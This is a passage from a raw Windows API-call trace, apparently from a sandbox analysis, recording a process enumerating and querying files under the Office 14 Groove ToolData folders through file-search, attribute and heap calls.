Size=0x80) returned 0xab92b0 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.640] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.640] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="")) returned 1 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0c90 [0078.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11babb0 [0078.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.641] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="")) returned 0 [0078.641] GetLastError () returned 0x12 [0078.641] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.641] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.641] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.641] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="")) returned 1 [0078.641] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="")) returned 0 [0078.641] GetLastError () returned 0x12 [0078.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.641] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.642] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="")) returned 1 [0078.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.642] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.642] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.642] NtClose (Handle=0x170) returned 0x0 [0078.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.645] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.645] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="")) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0cb0 [0078.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bacb8 [0078.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImageMask.bmp", cAlternateFileName="")) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BodyPaneBackground.jpg", cAlternateFileName="")) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImage.jpg", cAlternateFileName="")) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImageMask.bmp", cAlternateFileName="")) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImages.jpg", cAlternateFileName="")) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.647] GetLastError () returned 0x12 [0078.647] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.647] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImageMask.bmp", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BodyPaneBackground.jpg", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImage.jpg", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImageMask.bmp", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImages.jpg", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0078.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="")) returned 0 [0078.647] GetLastError () returned 0x12 [0078.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.647] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="")) returned 1 [0078.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.649] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.649] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.650] NtClose (Handle=0x164) returned 0x0 [0078.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.650] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.651] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.652] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="")) returned 1 [0078.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac0d90 [0078.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bb3f0 [0078.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.653] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, 